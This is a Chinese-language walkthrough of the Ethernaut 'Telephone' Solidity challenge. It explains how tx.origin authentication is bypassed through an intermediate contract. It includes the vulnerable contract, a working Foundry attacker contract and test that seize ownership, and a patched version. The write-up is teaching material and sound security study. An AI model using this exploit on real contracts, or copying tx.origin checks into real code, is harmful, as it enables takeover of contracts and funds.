🎯 Ethernaut Level 4: Telephone - tx.origin vs msg.sender 身份验证绕过

关卡链接: Ethernaut Level 4 - Telephone
攻击类型: 身份验证绕过、中间合约攻击
难度: ⭐⭐☆☆☆

📋 挑战目标

  1. 获取合约控制权 - 成为 Telephone 合约的 owner
  2. 理解身份机制 - 掌握 tx.originmsg.sender 的区别

Telephone Challenge

🔍 漏洞分析

合约源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
// 🚨 漏洞:使用 tx.origin 进行身份验证
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

关键概念对比

属性 msg.sender tx.origin
定义 直接调用者 交易发起者
变化 每次调用都可能变化 整个交易链中不变
安全性 ✅ 安全 ❌ 危险
推荐使用 身份验证 仅用于日志记录

攻击原理

当我们通过中间合约调用时:

  • tx.origin = 用户地址 (交易发起者)
  • msg.sender = 攻击合约地址 (直接调用者)
  • 由于 tx.origin != msg.sender,条件满足,可以修改 owner

💻 Foundry 实现

攻击合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/Telephone.sol";

contract TelephoneAttacker {
Telephone public target;

constructor(address _target) {
target = Telephone(_target);
}

function attack(address _newOwner) public {
// 通过中间合约调用,使 tx.origin ≠ msg.sender
target.changeOwner(_newOwner);
}
}

contract TelephoneTest is Test {
Telephone public telephone;
TelephoneAttacker public attacker;

address public user = makeAddr("user");
address public newOwner = makeAddr("newOwner");

function setUp() public {
telephone = new Telephone();
attacker = new TelephoneAttacker(address(telephone));
}

function testTelephoneExploit() public {
vm.startPrank(user);

// 通过中间合约攻击
attacker.attack(newOwner);

vm.stopPrank();

// 验证攻击成功
assertEq(telephone.owner(), newOwner);
console.log("Attack successful! New owner:", telephone.owner());
}
}

🛡️ 防御措施

使用 msg.sender 进行身份验证

1
2
3
4
5
6
7
8
9
10
11
12
contract SecureTelephone {
address public owner;

modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}

function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}

🎯 总结

Telephone 关卡教导我们:

  • ✅ 永远不要使用 tx.origin 进行身份验证
  • ✅ 使用 msg.sender 进行安全的身份检查
  • ✅ 理解调用链中的身份传递机制

🔗 相关链接